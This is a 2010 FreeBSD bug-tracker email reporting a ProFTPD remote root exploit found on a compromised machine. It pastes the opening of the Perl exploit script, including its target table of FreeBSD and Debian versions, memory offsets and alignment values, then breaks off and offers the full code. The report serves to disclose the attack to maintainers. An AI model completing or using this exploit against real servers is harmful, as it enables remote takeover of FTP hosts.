From owner-freebsd-bugs@FreeBSD.ORG Wed Nov 10 09:20:09 2010 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 05838106567A for ; Wed, 10 Nov 2010 09:20:09 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id BAE048FC18 for ; Wed, 10 Nov 2010 09:20:08 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.4/8.14.4) with ESMTP id oAA9K88N029494 for ; Wed, 10 Nov 2010 09:20:08 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.4/8.14.4/Submit) id oAA9K8xh029493; Wed, 10 Nov 2010 09:20:08 GMT (envelope-from gnats) Resent-Date: Wed, 10 Nov 2010 09:20:08 GMT Resent-Message-Id: <201011100920.oAA9K8xh029493@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Michel van Gruijthuijsen Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58DCA106566C for ; Wed, 10 Nov 2010 09:18:52 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 469DE8FC16 for ; Wed, 10 Nov 2010 09:18:52 +0000 (UTC) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id oAA9Iq6F006641 for ; Wed, 10 Nov 2010 09:18:52 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id oAA9IpY0006640; Wed, 10 Nov 2010 09:18:51 GMT (envelope-from nobody) Message-Id: <201011100918.oAA9IpY0006640@www.freebsd.org> Date: Wed, 10 Nov 2010 09:18:51 GMT From: Michel van Gruijthuijsen To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/152100: found an exploit on freebsd, "known to work" , in an infected (linux) machine X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Nov 2010 09:20:09 -0000 >Number: 152100 >Category: misc >Synopsis: found an exploit on freebsd, "known to work" , in an infected (linux) machine >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Nov 10 09:20:08 UTC 2010 >Closed-Date: >Last-Modified: >Originator: Michel van Gruijthuijsen >Release: 8.x is at least one of the targeted. >Organization: - >Environment: >Description: #!/usr/bin/perl # Exploit Title: ProFTPD IAC Remote Root Exploit # Date: 7 November 2010 # Author: Kingcope use IO::Socket; $numtargets = 13; @targets = ( # Plain Stack Smashing #Confirmed to work ["FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)",# PLATFORM SPEC "FreeBSD", # OPERATING SYSTEM 0, # EXPLOIT STYLE 0xbfbfe000, # OFFSET START 0xbfbfff00, # OFFSET END 1029], # ALIGN #Confirmed to work ["FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)", "FreeBSD", 0, 0xbfbfe000, 0xbfbfff00, 1021], # Return into Libc #Confirmed to work ["Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)", "Linux", 1, # EXPLOIT STYLE 0x0804CCD4, # write(2) offset 8189, # ALIGN 0], # PADDING [.....], I can send you the whole thing if you want. >How-To-Repeat: It's an exploit. >Fix: >Release-Note: >Audit-Trail: >Unformatted: